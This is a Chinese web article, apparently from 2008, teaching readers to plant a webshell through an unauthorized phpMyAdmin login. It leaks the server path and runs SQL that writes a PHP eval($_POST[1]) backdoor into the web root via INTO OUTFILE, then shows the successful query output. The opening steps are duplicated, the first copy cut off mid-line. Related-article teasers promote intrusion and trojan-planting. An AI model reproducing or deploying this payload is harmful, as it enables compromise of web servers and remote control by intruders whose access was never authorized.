教你phpMyAdmin 后臺(tái)拿webshell
互聯(lián)網(wǎng) 發(fā)布時(shí)間：2008-10-08 18:23:30 作者：佚名 
我要評(píng)論
我要評(píng)論1.如何拿到登陸密碼，自己想辦法。
2.訪問 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑.
3.選擇一個(gè)Database.運(yùn)行以下語(yǔ)句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php e
1.如何拿到登陸密碼，自己想辦法。
2.訪問 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑.
3.選擇一個(gè)Database.運(yùn)行以下語(yǔ)句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果沒什么意外.對(duì)應(yīng)網(wǎng)站得到webshell
您運(yùn)行的 SQL 語(yǔ)句已經(jīng)成功運(yùn)行了。
SQL 查詢:
CREATE TABLE a(
cmd text NOT NULL
);# MySQL 返回的查詢結(jié)果為空(即零行)。
INSERT INTO a( cmd )
VALUES (
'<?php eval($_POST[1]);?>'
);# 影響列數(shù)： 1
SELECT cmd
FROM a
INTO OUTFILE 'F:/Program Files/Apache Group/Apache2/htdocs/phpMyAdmin/d.php';# 影響列數(shù)： 1
DROP TABLE IF EXISTS a;# MySQL 返回的查詢結(jié)果為空(即零行)。
相關(guān)文章
無論那類黑客，他們最初的學(xué)習(xí)內(nèi)容都將是本部分所涉及的內(nèi)容，而且掌握的基本技能也都是一樣的。即便日后他們各自走上了不同的道路，但是所做的事情也差不多，只不過出發(fā)點(diǎn)2013-04-16- 首先申明： 1.入侵的范圍只包括局域網(wǎng)，如果在學(xué)校上，可以入侵整個(gè)校園網(wǎng)； 2.能入侵的只是存在弱口令(用戶名為administrator等,密碼為空)，并且開了139端口2009-06-09
- 其實(shí)很簡(jiǎn)單的的，說到原理，就一個(gè)：就是在人家網(wǎng)站的主頁(yè)那里插入一個(gè)自己的網(wǎng)馬的頁(yè)面，等有漏洞的人查看了人家網(wǎng)站的主頁(yè)，那么他就成了你的肉雞了。 下面我介紹5種方2009-04-30
- 入侵滲透涉及許多知識(shí)和技術(shù)，并不是一些人用一兩招就可以搞定的。 一，踩點(diǎn) 踩點(diǎn)可以了解目標(biāo)主機(jī)和網(wǎng)絡(luò)的一些基本的安全信息，主要有； 1，管理員2008-10-08
- 這篇文章主要介紹了整人用的一個(gè)電腦重啟病毒,本文用bat文件偽造如QQ圖標(biāo)等常用軟件,導(dǎo)致點(diǎn)擊就會(huì)重啟的惡作劇腳本,需要的朋友可以參考下2014-10-10
- 今天有網(wǎng)友問小編怎樣判斷電腦是否淪為“肉雞”，小編就來給大家盤點(diǎn)幾條電腦淪為肉雞的表現(xiàn)2014-08-14
- 站內(nèi)搜索地址為： httpwww.google.comcustomdomains=（這里寫我們要搜索的站點(diǎn)，比如feelids.com） 進(jìn)去可以選擇www和feelids.com， 當(dāng)然再選我們要的站內(nèi)搜索2008-10-08
偽黑客的成功的秘密：tomcat入侵和Jboss入侵的方法介紹(圖)
黑客必須要有專業(yè)的知識(shí)，豐富的經(jīng)驗(yàn)。而偽黑客不需要，只需要幾個(gè)工具，掃描默認(rèn)口令、弱口令、漏洞，就能利用。2012-05-18如何正確的進(jìn)行網(wǎng)站入侵滲透測(cè)試
入侵滲透涉及許多知識(shí)和技術(shù)，并不是一些人用一兩招就可以搞定的，下面小編就為大家具體的講解如何正確的進(jìn)行網(wǎng)站入侵滲透測(cè)試，希望可以幫助到大家2016-10-28
